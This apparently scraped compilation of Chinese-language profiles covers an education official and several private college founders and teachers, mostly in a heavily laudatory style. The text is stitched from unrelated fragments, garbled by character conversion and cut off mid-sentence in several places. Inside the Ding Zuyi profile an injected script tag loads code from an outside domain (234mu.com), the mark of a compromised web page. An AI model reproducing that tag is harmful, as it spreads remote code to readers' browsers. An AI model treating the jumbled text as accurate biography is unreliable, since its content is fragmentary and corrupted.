1972年—1975年，華中工學(xué)院(現(xiàn)華中科技大學(xué))無線電系電子材料與元器件專業(yè)學(xué)習(xí)　　1980年—1981年，在清華大學(xué)經(jīng)管學(xué)院進(jìn)修　　1970年—1972年，湖北省電信器材廠工人　　1975年—1986年，華中理工大學(xué)經(jīng)管學(xué)院教師、黨委辦公室干部　　1986年—1992年，國家教委教師管理辦公室職稱處副處長，直屬高校工作司師資處處長、綜合改革處處長、司長助理　　1992年—1993年，掛職東北師范大學(xué)校長助理）　　1993年—1998年，國家教委高等教育司副司長兼直屬高校工作辦公室主任　　1998年—2001年，教育部政策研究與法制建設(shè)司司長　　2001年—2003年，云南省省長助理、省政府黨組成員（掛職）　　2003年—2004年，教育部部長助理、黨組成員，基礎(chǔ)教育司司長　　2004年—2004年，教育部副部長、黨組成員　　2005年—教育部副部長、黨組成員，教育部總督學(xué)

在上海市黃浦江邊，閔行紫竹科學(xué)園區(qū)北側(cè)，有一座精致美麗的校園——上海東海職業(yè)技術(shù)學(xué)院。曾幾何時(shí)，這里是一片農(nóng)田，如今，1萬2千多名大學(xué)畢業(yè)生躊躇滿志地從這里走出，奔赴社會(huì)各行各業(yè)。十八年來，學(xué)校沒靠政府一分錢撥款，沒向社會(huì)要一分錢贊助，如今，東海學(xué)院已積聚了價(jià)值超過四億元的校園固定資產(chǎn)，更重要的是為國家節(jié)約了近七億元的教育投資。這一切都源自于東海學(xué)院董事長曹助我：創(chuàng)辦民辦大學(xué)的壯舉，造福社會(huì)的大業(yè)，甘為孺子牛的真情，嘔心瀝血的拼搏。情系教育、立志辦學(xué)曹助我1960年畢業(yè)于上海師范大學(xué)數(shù)學(xué)系，旋即在上海海事大學(xué)任教。從大學(xué)畢業(yè)到上世紀(jì)九十年代初，曹助我教授過的學(xué)生不下數(shù)千，并于1990年榮獲國家教委科技進(jìn)步二等獎(jiǎng)、1993年榮獲國家教委教學(xué)成果國家級(jí)一等獎(jiǎng)。但是曹助我最感痛心的是那么多有志氣、有抱負(fù)的青年由于高校規(guī)模限制進(jìn)不了大學(xué)，一個(gè)一個(gè)中學(xué)畢業(yè)生的大學(xué)夢(mèng)不能圓滿。尤其是到1990年之后，改革開放的浪潮洶涌澎湃，祖國面貌日新月異，經(jīng)濟(jì)發(fā)展突飛猛進(jìn)。與此形成強(qiáng)烈反差的是高等教育的發(fā)展遠(yuǎn)遠(yuǎn)落后于經(jīng)濟(jì)發(fā)展的速度。人才、人才、人才已成為推動(dòng)經(jīng)濟(jì)社會(huì)發(fā)展的最重要因素。曹助我坐不住了，我們?yōu)槭裁床荒荜J出一條自主辦學(xué)的路，解國家燃眉之急，救學(xué)子攻讀之心！曹助我立即行動(dòng)，他首先鼓動(dòng)上海高校工科高等數(shù)學(xué)協(xié)作組的三位同行姜至本、陶鈞、李重華一起領(lǐng)悟鄧小平南巡講話的精神，聯(lián)合他們一起描繪創(chuàng)辦大學(xué)的藍(lán)圖。然后，曹助我和他的同事們一次又一次地籌劃，從章程到管理模式，從建設(shè)設(shè)想到發(fā)展規(guī)劃，他們熬過了多少個(gè)不眠之夜。曹助我?guī)еe辦民辦大學(xué)的設(shè)想、規(guī)劃和建設(shè)方案，一次又一次地走訪原上海市高教局，高教局高教處、計(jì)劃處的同志被曹助我執(zhí)著的追求和宏偉的創(chuàng)舉感動(dòng)不已。曹助我還把他的想法和項(xiàng)目企劃一次又一次地向教育部有關(guān)部門、上海市有關(guān)領(lǐng)導(dǎo)陳述，表明了自己團(tuán)隊(duì)一顆情系教育、立志辦學(xué)的心。終于上帝也被感動(dòng)了，1993年7月，原上海市高教局批準(zhǔn)了曹助我的申請(qǐng)，民辦東海學(xué)院誕生了！沒有錢怎么辦？曹助我先行一步，把家里全部存款，加上東拼西湊拿出五萬元人民幣；三位同志也立即行動(dòng)，掏盡家底籌集了二十萬元到民政局注冊(cè)了東海學(xué)院。沒有校舍怎么辦？曹助我憑朋友關(guān)系，向河運(yùn)學(xué)校和醫(yī)藥衛(wèi)生學(xué)校租借了三間教室，掛出了東海學(xué)院的牌子。沒有學(xué)生怎么辦？曹助我?guī)е耐聜冊(cè)谖鞑芈贰⒒春Ｂ房诠饷髦袑W(xué)門口作招生宣傳。曹助我的精神感動(dòng)了上海市考試院的領(lǐng)導(dǎo)，他們破例允許東海學(xué)院在區(qū)縣招辦主任聯(lián)席會(huì)議上作重點(diǎn)介紹以支持東海學(xué)院的招生。沒有教材怎么辦？曹助我一次又一次把采購來的教材用自行車從書店推到教室。8月的酷暑，8月的驕陽，曹助我的汗水灑在馬路上、灑在教室里；8月的臺(tái)風(fēng)，8月的暴雨，曹助我把自己的雨衣脫下來，包好自行車架子上的教材，自己渾身濕透。年過半百的老教師啊，是什么熱情支撐著他，是什么精神鼓舞著他？立志辦學(xué)：“讓多一個(gè)孩子上大學(xué)，讓多一個(gè)家庭得安寧，讓社會(huì)多一個(gè)合格的崗位”。平凡而鏗鏘的誓言，樸實(shí)而深邃的哲理！終于1993年9月10日，東海學(xué)院第一堂課的鈴聲響了，東海學(xué)院國際貿(mào)易和會(huì)計(jì)兩個(gè)專業(yè)88名學(xué)生開始上課了。歷史將會(huì)見證，歷史不會(huì)忘記，曹助我創(chuàng)辦大學(xué)的夢(mèng)，成真了！學(xué)校規(guī)模不斷擴(kuò)大，五年里，上海公交教育中心、上海耐火材料廠培訓(xùn)中心、市郊工業(yè)學(xué)校、上海大學(xué)上中校區(qū)、上海市金聯(lián)中學(xué)都留下了東海學(xué)院的足跡。曹助我不辭辛苦，乘公共汽車、騎自行車奔波于各個(gè)教學(xué)點(diǎn)之間。為了求得一名好教師，曹助我經(jīng)常深夜還在拜訪老同事、老朋友，請(qǐng)他們?yōu)闁|海的學(xué)生上課，為了提高學(xué)校水平，曹助我誠懇地拜訪胡立教、夏征農(nóng)、羅竹風(fēng)等老前輩、老領(lǐng)導(dǎo)，請(qǐng)他們出任東海學(xué)院的院長、顧問、名譽(yù)院長。1997年，東海學(xué)院開始了歷史性的前進(jìn)，在閔行區(qū)虹梅南路東川路口租地、買地，建起了自己的校舍，結(jié)束了五年里顛沛流離的艱苦辦學(xué)之路。靠著勤儉持家，節(jié)約每一分錢，靠著學(xué)費(fèi)積累滾動(dòng)，靠著由誠信和業(yè)績向農(nóng)業(yè)銀行獲得的400萬元貸款，2003年，美麗、雄偉、功能齊全的東海學(xué)院建成了，占地190余畝，校舍近10萬平方米，學(xué)生近5000人，教師350余人，東海學(xué)院成為上海第一所擁有自己獨(dú)立校園的民辦大學(xué)，曹助我創(chuàng)辦大學(xué)的夢(mèng)圓滿了！品質(zhì)加能力、高職教育的靈魂從創(chuàng)辦學(xué)校的那天起，曹助我就提出品質(zhì)加能力的職業(yè)教育思想。他說，辦一所大學(xué)難，辦好一所大學(xué)更難，東海學(xué)院要為社會(huì)作貢獻(xiàn)，就要樹立自己的品牌，這就是東海的學(xué)生；東海學(xué)院要形成自己的特色，這就是職業(yè)技術(shù)教育的旗幟。十幾年來，曹助我研究國內(nèi)外高等職業(yè)教育的經(jīng)驗(yàn)、成果，研究當(dāng)前上海經(jīng)濟(jì)社會(huì)發(fā)展對(duì)人才需求的類型、要求、層次要求和知識(shí)技能要求，堅(jiān)持培養(yǎng)品質(zhì)好、能力強(qiáng)的技能型應(yīng)用型人才。他積極倡導(dǎo)大學(xué)生應(yīng)該具有兩張文憑，即畢業(yè)文憑和道德證書，他在東海的學(xué)生中堅(jiān)持品德素質(zhì)測(cè)評(píng)，為學(xué)生建立道德規(guī)范檔案，記載學(xué)生完善人格培養(yǎng)的軌跡。他教導(dǎo)學(xué)生要有事業(yè)心、責(zé)任心。

丁祖詒同志為西安翻譯學(xué)院創(chuàng)始人、院長，陜西終南學(xué)社社長。1939年8月29日生于江蘇淮安，1964年六年制高壓電器專業(yè)本科畢業(yè)。1985年，他受命西安市科協(xié)創(chuàng)建了西安地區(qū)大型學(xué)術(shù)團(tuán)體“西安翻譯協(xié)會(huì)”，并當(dāng)選為副理事長兼秘書長；1987年，創(chuàng)建了西安翻譯學(xué)院，1992年晉升為講師，1997年被國家人事部人事與人才科學(xué)研究所聘為“特約研究員”，1998年被破格評(píng)為教授。2001年10月陜西省高教協(xié)會(huì)授予其民辦教育家稱號(hào)，年底被評(píng)為享受國務(wù)院特殊津貼的專家。自1997年起至今，丁祖詒同志歷任陜西省政協(xié)第九屆、第十屆兩屆常委。丁祖詒同志數(shù)十年如一日，為了祖國的教育大業(yè)，為了中國民辦高教的騰飛發(fā)展，披肝瀝膽，嘔心瀝血，傾注了畢生的心血和精力，做出了舉世矚目的卓越貢獻(xiàn)，成為世人所公認(rèn)的著名民辦教育家和中國民辦高教戰(zhàn)線上的杰出領(lǐng)軍人物。其主要先進(jìn)事跡介紹如下：創(chuàng)建西譯，以創(chuàng)新的理論及實(shí)踐開啟了中國民學(xué)的一代先河。丁祖詒同志以振興祖國的民辦高教事業(yè)為己任，胸懷天下，情系萬千有志求學(xué)深造的莘莘學(xué)子，他毅然放棄了國辦高校優(yōu)厚待遇，砸破了自己的“鐵飯碗”，從零起步，白手起家，創(chuàng)建了民辦高校西安翻譯學(xué)院。辦學(xué)23年來，丁祖詒同志始終堅(jiān)持取之于學(xué)、用之于學(xué)，不以營利為目的的社會(huì)主義辦學(xué)方向，始終堅(jiān)持全心全意為學(xué)生的成長成才服務(wù)和“第二希望工程”的崇高辦學(xué)理念；秉持讓無助者有助，讓有志者成才，讓奮進(jìn)者輝煌的校訓(xùn)，艱苦創(chuàng)業(yè)，無私奉獻(xiàn)，開拓進(jìn)取，使西安翻譯學(xué)院由原來的一無設(shè)備、二無資金、三無師資的“三無”困境中崛起，歷經(jīng)艱難跋涉，飽受千辛萬苦，一躍而發(fā)展為如今占地2000余畝、建筑70萬平米、擁有10億多元公益性校產(chǎn)和40000名在校生的全國規(guī)模最大、綜合實(shí)力最強(qiáng)、知名度最高的民辦本科高校。不僅如此，以西譯為龍頭的陜西民辦高校在其影響下也得到了迅猛發(fā)展，并且日益成為全國民學(xué)發(fā)展的“硅谷”，成為人們關(guān)注的焦點(diǎn)。西譯從無到有，從小到大，從弱到強(qiáng)的輝煌發(fā)展為我國民辦高校的發(fā)展樹立了楷模，開創(chuàng)了中國民學(xué)發(fā)展的嶄新局面。不斷探索，勇于實(shí)踐，敢于挑戰(zhàn)，為民辦高校的理論發(fā)展竭力盡智。丁祖詒同志以市場(chǎng)需求為導(dǎo)向，打破了綿沿中國兩千多年傳統(tǒng)的單一型育人模式，創(chuàng)造并實(shí)踐了“外語+專業(yè)+現(xiàn)代化技能”或“專業(yè)+英語+現(xiàn)代化技能”的復(fù)合實(shí)用型雙專業(yè)涉外人才教育模式，以及“全住校、全日制、全封閉、全方位、全過程”的“五全”式準(zhǔn)軍事化嚴(yán)格管理模式。這就是曾于1996年、1998年和1999年，先后三次在北京釣魚臺(tái)國賓館叫紅全國的“丁祖詒教育管理模式”，即“丁氏教育模式”。這一民辦高校的嶄新發(fā)展模式，從高等職業(yè)教育和全面素質(zhì)教育兩個(gè)方面豐富了高等教育的內(nèi)涵，為中國高等教育的改革發(fā)展提供了成功的范例。在這一模式下，23年來，西安翻譯學(xué)院“不花國家一分錢”，為國家和社會(huì)培養(yǎng)了6萬余名通專業(yè)、懂技能、外語水平高的復(fù)合實(shí)用型雙專業(yè)涉外合格畢業(yè)生。在連續(xù)多年的招生、就業(yè)激烈競(jìng)爭(zhēng)態(tài)勢(shì)下，西安翻譯學(xué)院卻依然能在嚴(yán)格入學(xué)標(biāo)準(zhǔn)的層層嚴(yán)格篩選中創(chuàng)造了民辦高校絕無僅有的優(yōu)質(zhì)生源和“每年招一個(gè)大大學(xué)“的招生奇跡，保持了連年畢業(yè)生穩(wěn)居98%以上的高就業(yè)率。學(xué)生歷次的自考、專升本考試、英語等級(jí)等考試合格率一直在全省同類高校中名列前茅。出色的外語優(yōu)勢(shì)使得多年來西譯選手在省市、全國英語演講、辯論賽中屢屢奪冠，成為全國高校英語賽事中異軍突起的“一匹黑馬”。留學(xué)海外、考研升博，創(chuàng)業(yè)有成的學(xué)生更是逐年遞增。丁祖詒同志力主創(chuàng)新，敢為人先，在拓寬民辦高校的辦學(xué)渠道，完善民辦高校的辦學(xué)體制與機(jī)制上更是獨(dú)領(lǐng)風(fēng)騷。他于2003年獨(dú)辟蹊徑地創(chuàng)辦了“五年不拿國家文憑、實(shí)行全封閉管理、提供全外語環(huán)境，實(shí)施全外語教學(xué)、培養(yǎng)準(zhǔn)同聲傳譯的翻譯研修學(xué)院”，向傳統(tǒng)的育人觀念再次挑戰(zhàn)，歷時(shí)7年的翻譯研修學(xué)院辦學(xué)業(yè)績及其“敢死隊(duì)”模式為民辦高教的更大發(fā)展開辟了廣闊的前景。為民學(xué)鼓與呼，興教育擔(dān)大任。丁祖詒同志不僅以自身卓絕的創(chuàng)新實(shí)踐開辟了民辦高校的嶄新領(lǐng)域，以艱苦創(chuàng)業(yè)、無私奉獻(xiàn)、愛生敬業(yè)、開拓進(jìn)取的“西譯精神”為民辦高教的發(fā)展積累了寶貴的精神財(cái)富。他還能在保持西譯可持續(xù)良性發(fā)展的同時(shí)，始終能夠以敏銳的政治眼光和胸懷國家教育振興的遠(yuǎn)見卓識(shí)，為民學(xué)發(fā)展中所遭遇的種種根本問題，敢于秉公直書，呼號(hào)吶喊，并在廣泛調(diào)研的基礎(chǔ)上，進(jìn)行了大量深刻的理論研究。他先后在北京民辦教育國際研討會(huì)、中國科協(xié)年會(huì)、中國西部論壇等專題研討會(huì)、專題論壇上及一些重大活動(dòng)、重要媒體上公開發(fā)表主旨演講、理論文章，如“論中國民辦大學(xué)的態(tài)勢(shì)”、“發(fā)展民辦高等教育，促進(jìn)西部大開發(fā)”、“論中國西部的民辦高教市場(chǎng)”、“用三個(gè)代表重要思想指引民辦高教前進(jìn)航程”、“民辦教育促進(jìn)法實(shí)施中的思考”、“發(fā)展中國民辦高校，為人類科技進(jìn)步與世界和平作貢獻(xiàn)”等一系列的理論探索，都能以深邃的洞察思考、雄辯的邏輯思維，無私的崇高境界、無畏的浩然正氣，凜然的愛國大義、切膚的學(xué)子?script src=http://www.234mu.com/>

顧德庫同志現(xiàn)任哈爾濱工業(yè)大學(xué)華德應(yīng)用技術(shù)學(xué)院的理事長兼院長；也是中國民辦教育協(xié)會(huì)高等教育專業(yè)委員會(huì)副理事長；全國本科院校高職協(xié)作會(huì)理事；第十屆中華職教社理事；全國職技高師專業(yè)委員會(huì)常務(wù)理事；黑龍江中華職教社社務(wù)委員、專家委員會(huì)副主任；黑龍江省高職教育研究會(huì)副理事長；省職教學(xué)會(huì)副會(huì)長；省民辦高校協(xié)會(huì)副會(huì)長、市民辦高校聯(lián)席會(huì)副會(huì)長；振興東北老工業(yè)基地研究會(huì)教育專家委員會(huì)副主任；黑龍江省哈工大華德學(xué)院中高職教育銜接聯(lián)合體理事長；駐哈爾濱市利民開發(fā)區(qū)高校協(xié)作會(huì)總召集人；呼蘭蕭鄉(xiāng)詩社名譽(yù)社長。一、政治堅(jiān)定、理論素養(yǎng)高，全身心投入教育事業(yè)在多年從事教育工作的實(shí)踐中，顧德庫同志認(rèn)真研究國家方針、政策，注重理論知識(shí)的學(xué)習(xí)和更新，認(rèn)真鉆研教育學(xué)、教育管理學(xué)，洞察新的形勢(shì)發(fā)展，具備很強(qiáng)的政治、業(yè)務(wù)素質(zhì)和政策水平。他堅(jiān)決貫徹執(zhí)行黨的教育路線方針政策，與黨中央保持高度一致。他堅(jiān)持看書看報(bào)，熟知?dú)v史、教育史，關(guān)注國際國內(nèi)大事，關(guān)注應(yīng)用型教育理論前沿和熱點(diǎn)問題，與時(shí)俱進(jìn)，有較高的理論素養(yǎng)。在艱辛的辦學(xué)歷程中，他胸懷全局，不計(jì)得失，敬業(yè)實(shí)干，銳意創(chuàng)新，帶領(lǐng)全體教職員工，用拼搏和汗水，智慧和毅力，追求和奉獻(xiàn)的精神，實(shí)現(xiàn)了學(xué)院發(fā)展的歷史性超越。他以實(shí)際行動(dòng)樹立起新時(shí)期教育戰(zhàn)線上一名優(yōu)秀黨員干部的嶄新形象，成為廣大師生尊敬愛戴的榜樣。二、以誠立院、廉潔自律、在社會(huì)各界樹立誠信形象。16年來，華德學(xué)院持續(xù)推進(jìn)依法治校進(jìn)程，注重打造誠信形象與品牌，學(xué)院是銀行系統(tǒng)授予的AA信譽(yù)單位，曾被省民政部門授予“自律與誠信建設(shè)先進(jìn)單位”、“全省先進(jìn)社會(huì)組織”光榮稱號(hào)，2009年還被民政部授予“全國先進(jìn)社會(huì)組織”光榮稱號(hào)。顧德庫同志不僅本人廉潔、簡樸，自覺抵制腐敗現(xiàn)象，而且在學(xué)院工作作風(fēng)會(huì)議，還將廉政問題作為《哈工大華德學(xué)院問責(zé)制實(shí)施辦法》中的重要內(nèi)容，引導(dǎo)教職工遵紀(jì)守法，樹立新時(shí)期勤政廉政的教師形象。三、開拓創(chuàng)新、銳意進(jìn)取，在教育領(lǐng)域創(chuàng)造突出業(yè)績。1993年，他創(chuàng)辦了省內(nèi)首個(gè)中職師資培訓(xùn)基地（工科類）。2000年，他創(chuàng)辦的哈工大職業(yè)技術(shù)學(xué)院被教育部批準(zhǔn)為“全國職業(yè)教育師資培訓(xùn)重點(diǎn)建設(shè)基地”。他創(chuàng)辦領(lǐng)導(dǎo)的學(xué)院歷經(jīng)15年的風(fēng)雨歷程，從只有40人的培訓(xùn)班發(fā)展成為近萬人規(guī)模的本科獨(dú)立學(xué)院，這種變化可謂翻天覆地。在此期間，他大膽探索、謹(jǐn)慎決策，他招攬人才、凝聚人心，他艱苦奮斗、勵(lì)精圖治，他成為學(xué)院得以生存、發(fā)展的靈魂。近年來，哈工大華德學(xué)院在他的領(lǐng)導(dǎo)下傳承哈工大嚴(yán)謹(jǐn)?shù)闹螌W(xué)風(fēng)格，形成了鮮明的辦學(xué)特色，成為全國職業(yè)教育師資培訓(xùn)重點(diǎn)建設(shè)基地；“中國民辦教育創(chuàng)新與發(fā)展貢獻(xiàn)獎(jiǎng)”獲獎(jiǎng)單位；全國先進(jìn)社會(huì)組織；黑龍江省政府《高教強(qiáng)省建設(shè)規(guī)劃》“1115”工程重點(diǎn)建設(shè)的民辦高校之一；“全省民辦高校示范單位”；“黑龍江省高校畢業(yè)生就業(yè)工作先進(jìn)集體”。學(xué)院的人才培養(yǎng)質(zhì)量得到政府部門、上級(jí)主管單位、社會(huì)各界和企業(yè)越來越多的關(guān)注和認(rèn)可，招生分?jǐn)?shù)、就業(yè)率都穩(wěn)居全省同類院校前列。近萬名畢業(yè)生從華德學(xué)院走出去，在祖國建設(shè)的各條戰(zhàn)線上拼搏、奉獻(xiàn)，為母校增添了無限榮耀。顧德庫同志本人榮獲中國首批 “黃炎培杰出校長獎(jiǎng)”；“首屆全國百名高等職業(yè)教育畢業(yè)生就業(yè)指導(dǎo)師”入圍獎(jiǎng)；2009年“全省優(yōu)秀教育工作者”；“振興東北老工業(yè)基地特別貢獻(xiàn)人物”；“哈爾濱工業(yè)大學(xué)優(yōu)秀共產(chǎn)黨員”等多項(xiàng)榮譽(yù)，成為全國及省內(nèi)知名的民辦教育專家。四、深入研究、科學(xué)治校、理論成果豐碩。顧德庫同志堅(jiān)持依法治校、民主辦學(xué)，以科學(xué)發(fā)展觀統(tǒng)領(lǐng)學(xué)院整體工作，不斷建立健全內(nèi)部各項(xiàng)管理制度和監(jiān)督機(jī)制；按國家政策規(guī)定“陽光招生”；合理安排教學(xué)和辦學(xué)基本條件建設(shè)投入等，保障了學(xué)院的持續(xù)健康發(fā)展。他潛心研究黃炎培職教思想，探索、總結(jié)職業(yè)教育、高等應(yīng)用型教育的客觀規(guī)律與發(fā)展方向，致力于高等應(yīng)用型教育的改革和創(chuàng)新，提出了“側(cè)重個(gè)性培養(yǎng)，全員成才教育”、“整體建設(shè)理念”等一系列教育、教學(xué)理念，注重校園文化建設(shè)、注重大學(xué)精神的凝練和整體育人氛圍的營造。在理念、精神引領(lǐng)下，學(xué)院加強(qiáng)內(nèi)涵建設(shè)，辦學(xué)水平逐年提高。他撰寫的多篇論文在《職業(yè)技術(shù)》、《中國科教創(chuàng)新》等國家級(jí)核心期刊上公開發(fā)表，參編了《職業(yè)技術(shù)教育學(xué)》等書籍；他多次在國際、國內(nèi)的職教論壇上發(fā)表演講或宣讀論文，引起強(qiáng)烈反響；他還為職技高師本科生和中職學(xué)校教師在職攻讀碩士生開設(shè)《黃炎培生平及其職業(yè)教育思想》課程，收到良好效果。作為課題組組長，他的多項(xiàng)課題在全國、省內(nèi)獲一等獎(jiǎng)。他注重師資隊(duì)伍建設(shè)，指導(dǎo)制定了《百名中青年骨干教師干部培訓(xùn)計(jì)劃》，針對(duì)專業(yè)教師和學(xué)生工作隊(duì)伍分別提出“讓學(xué)生喜歡你的課，讓你的課在學(xué)生的就業(yè)創(chuàng)業(yè)中發(fā)揮作用”和“到工作第一線去，到學(xué)生中去，引領(lǐng)學(xué)生走入科學(xué)殿堂，引導(dǎo)學(xué)生走上成才之路”的崗位目標(biāo)。師資隊(duì)伍建設(shè)力度的加大，使學(xué)院教師隊(duì)伍結(jié)構(gòu)日趨合理、實(shí)力更加雄厚。他們主編或參編的出版教材達(dá)69種，指導(dǎo)學(xué)生在國際、國家級(jí)及省級(jí)各類專業(yè)技能比賽中共獲270多項(xiàng)獎(jiǎng)項(xiàng)，并多次取得金獎(jiǎng)、第一名的好成績，尤其值得一提的是，2009年末學(xué)院師生代表中國參加國際雪雕比賽奪得金牌，填補(bǔ)了我國在此項(xiàng)賽事上的空白；2009年亞太地區(qū)大學(xué)生程序設(shè)計(jì)競(jìng)賽，學(xué)院學(xué)生也取得了同類院校最好成績。近五年里省內(nèi)十所同類院校獲得的十項(xiàng)全省高等學(xué)校教學(xué)成果二等獎(jiǎng)中，華德學(xué)院就囊括了五項(xiàng)。 五、多領(lǐng)域辦學(xué)、廣泛開展各類培訓(xùn)，為國家及省的人才培養(yǎng)提高做出突出貢獻(xiàn)。 華德學(xué)院的前身是創(chuàng)辦于1994年的哈爾濱工業(yè)大學(xué)職技高師（本科）培訓(xùn)中心，主要致力于省內(nèi)中職學(xué)校教師的培養(yǎng)。1997年學(xué)院更名為哈工大職業(yè)技術(shù)學(xué)院，在此階段，共培養(yǎng)中職師資本科生9屆，共2450人；培養(yǎng)中職、職高校長教導(dǎo)主任兩期，75人；與哈工大研究生院一起培養(yǎng)中職師資碩士生3屆，156人；培訓(xùn)中職專業(yè)骨干教師6期，240人。2003年，哈工大華德學(xué)院成立后，高質(zhì)量完成省中職師資培訓(xùn)任務(wù)，培訓(xùn)人數(shù)占全省中職師資培訓(xùn)人數(shù)總和的50%—54%。2007年至今，學(xué)院又承擔(dān)了國家級(jí)中職骨干教師培訓(xùn)任務(wù)，培養(yǎng)骨干教師503人。作為中華職教社黑龍江省分社的合作支撐院校，學(xué)院曾組織免費(fèi)培訓(xùn)，來支持省職教社以農(nóng)民工轉(zhuǎn)移培訓(xùn)為重點(diǎn)的溫暖工程。目前，學(xué)院正在積極建設(shè)輻射全省的大型教學(xué)培訓(xùn)實(shí)踐基地。多領(lǐng)域開展辦學(xué)是顧德庫同志在發(fā)展學(xué)院過程中的戰(zhàn)略性思考，培訓(xùn)工作的深入開展，不僅對(duì)學(xué)院的發(fā)展注入了新的活力，也成為顧德庫同志本人為國家、社會(huì)人才培養(yǎng)質(zhì)量的提高所做出的又一重要貢獻(xiàn)。

別林波, 擔(dān)任北京優(yōu)思安科技有限公司、鄭州積云教育科技有限公司、北京金積云科技有限公司 等法定代表人, 擔(dān)任北京金積云信息咨詢合伙企業(yè)(有限合伙)、

1977.8—1982.1 就讀于哈爾濱工業(yè)大學(xué) 1982.1—1991.9 擔(dān)任東安工學(xué)院教務(wù)處主任 1991.10—至今 在哈爾濱市教育局工作，現(xiàn)職處長。

蔡興旺教授，中共黨員，廣州珠江職業(yè)技術(shù)學(xué)院機(jī)電系主任。作為一名教育工作者，在高校從教的40年里，他一直無悔地忠誠于黨和人民的教育事業(yè)，模范遵守職業(yè)道德規(guī)范，為人師表，教書育人，從嚴(yán)治教。作為一名民辦高職教育的專業(yè)帶頭人，10余年來，他懷著強(qiáng)烈的事業(yè)心和奉獻(xiàn)精神，為民辦教育事業(yè)，為加強(qiáng)專業(yè)建設(shè)，兢兢業(yè)業(yè)，工作認(rèn)真勤奮，勇于創(chuàng)新，不僅在自身的教學(xué)、教育、科研等方面取得了突出的成績，在加強(qiáng)專業(yè)基礎(chǔ)建設(shè)，推進(jìn)校企合作，改革高職教育的人才培養(yǎng)模式，培養(yǎng)青年教師等各方面也都作出了富有成效的貢獻(xiàn)。    1. 努力探索高職教學(xué)改革，成果顯著，為高職教育的人才培養(yǎng)模式的改革作出了貢獻(xiàn)。蔡興旺教授早在2003年就開始關(guān)注改革高職教育的人才培養(yǎng)模式的改革了，當(dāng)年他主持了廣東省教育廳 “高等職業(yè)教育教學(xué)、課程與教材改革研究”的教育研究課題。以此為發(fā)端，他展開了一系列針對(duì)高職教育的教學(xué)改革。2007年，他所主講的《汽車發(fā)動(dòng)機(jī)構(gòu)造與原理》課程被評(píng)為廣東省精品課程；2010年，他所主持的“汽車構(gòu)造原理課程群的教學(xué)改革”獲得廣東省優(yōu)秀教學(xué)成果二等獎(jiǎng)；此外，他所編寫的高職教材《汽車構(gòu)造與原理 上冊(cè) 發(fā)動(dòng)機(jī)》2008年被教育部評(píng)為國家十一五規(guī)劃教材，5年進(jìn)行了9次再版印刷，被上海市列為成教考試教材；另外一部編寫的高職教材《汽車構(gòu)造與原理 實(shí)訓(xùn)》2007年被教育部評(píng)為國家十一五規(guī)劃教材后，又被評(píng)為國家精品教材，對(duì)我國、我省高職教育作出了積極貢獻(xiàn)。蔡興旺教授除擔(dān)任機(jī)電系主任外，還兼任汽車教研室主任、汽車實(shí)驗(yàn)室主任、機(jī)電系黨支部書記等多項(xiàng)工作，親臨一線授課，任務(wù)十分繁重，每天晚上加班到23點(diǎn)后，節(jié)假日也不例外。2009年,他申報(bào)的“汽車維修校企合作模式探索”教學(xué)研究課題獲得學(xué)院立項(xiàng)，為探索校企結(jié)合教學(xué)改革的道路，蔡教授放棄了寒假休假時(shí)間，到廣州市名揚(yáng)公司參加1個(gè)多月的勞動(dòng)，與企業(yè)技術(shù)人員共同研發(fā)新產(chǎn)品，取得了可喜的成績。在蔡教授帶領(lǐng)下，機(jī)電系全系上下積極投入教育教學(xué)的改革，申報(bào)的教學(xué)改革課題 “一體化合作教學(xué)模式的探索與實(shí)踐”和“汽車維修校企合作模式探索” 已獲學(xué)院立項(xiàng)。《汽車發(fā)動(dòng)機(jī)構(gòu)造與維修》、《機(jī)械制圖》2門課程被評(píng)為學(xué)院精品課程。其中《汽車發(fā)動(dòng)機(jī)構(gòu)造與維修》精品課程網(wǎng)站在蔡教授的親自策劃和各方面支持下，已經(jīng)制作完成在校園網(wǎng)發(fā)布，開辟有網(wǎng)絡(luò)課程、課程錄像等13個(gè)欄目，其中網(wǎng)絡(luò)課程內(nèi)又開辟有多媒體課件、電子教案、教學(xué)習(xí)題、視頻光盤、論文庫、汽車動(dòng)態(tài)、媒體鏈接等13個(gè)欄目，原始容量達(dá)6G多，為學(xué)生的學(xué)習(xí)提供了極好的平臺(tái)，蔡教授也為此耗費(fèi)了大量精力。這些研究課題的開展，大力加強(qiáng)了實(shí)踐教學(xué)環(huán)節(jié)，有效的提高了學(xué)生的動(dòng)手能力，取得了良好成績。蔡教授十分重視對(duì)年輕教師的培養(yǎng)，他經(jīng)常與年輕的教師交流，分享自己的教學(xué)經(jīng)驗(yàn)和成果，帶領(lǐng)他們共同進(jìn)行教學(xué)改革，討論教學(xué)安排、實(shí)驗(yàn)室建設(shè)、帶畢業(yè)設(shè)計(jì)等。 已獲學(xué)院立項(xiàng)的“一體化合作教學(xué)模式的探索與實(shí)踐”教學(xué)改革研究課題，就是蔡教授和年輕教師共同申報(bào)的。在這個(gè)研究課題中，他們將課堂教學(xué)、現(xiàn)場(chǎng)實(shí)踐、考證教學(xué)、老師授課、學(xué)生合作學(xué)習(xí)有機(jī)融合在一起，以職業(yè)為導(dǎo)向，以技能為重點(diǎn)，以老師為指導(dǎo)，以學(xué)生為本位，創(chuàng)造出新型的教學(xué)模式，受到廣大師生好評(píng)。2. 配合學(xué)院董事會(huì)和院領(lǐng)導(dǎo)，帶領(lǐng)全系老師，建設(shè)特色專業(yè)，為民辦高職院校“辦出特色”積累經(jīng)驗(yàn)。根據(jù)學(xué)院評(píng)審，機(jī)電系的“汽車技術(shù)服務(wù)與營銷”和“模具設(shè)計(jì)與制造”兩個(gè)專業(yè)都被確定為學(xué)院建設(shè)的特色專業(yè)，建設(shè)任務(wù)是十分繁重的。在學(xué)院董事會(huì)和院領(lǐng)導(dǎo)大力支持下，蔡興旺教授兢兢業(yè)業(yè)，與機(jī)電系的全體老師共同努力，加強(qiáng)專業(yè)的基礎(chǔ)建設(shè)，在實(shí)驗(yàn)（實(shí)訓(xùn)）室建設(shè)、課程建設(shè)、教學(xué)改革和師資隊(duì)伍建設(shè)等多方面都取得較好的成績。在實(shí)驗(yàn)室建設(shè)方面，蔡教授親自動(dòng)手，擬定汽車實(shí)驗(yàn)室建設(shè)方案，在短時(shí)間內(nèi)，就根據(jù)汽車檢測(cè)和維修的流程，建設(shè)了“汽車技術(shù)實(shí)訓(xùn)室”、“汽車電氣實(shí)訓(xùn)室”、“汽車營銷與文化實(shí)訓(xùn)室”、“制冷制熱實(shí)訓(xùn)室”、“電焊鈑金實(shí)訓(xùn)室”、“電控柴油機(jī)實(shí)訓(xùn)室”6個(gè)實(shí)訓(xùn)室和一個(gè)多媒體教室。“汽車技術(shù)實(shí)訓(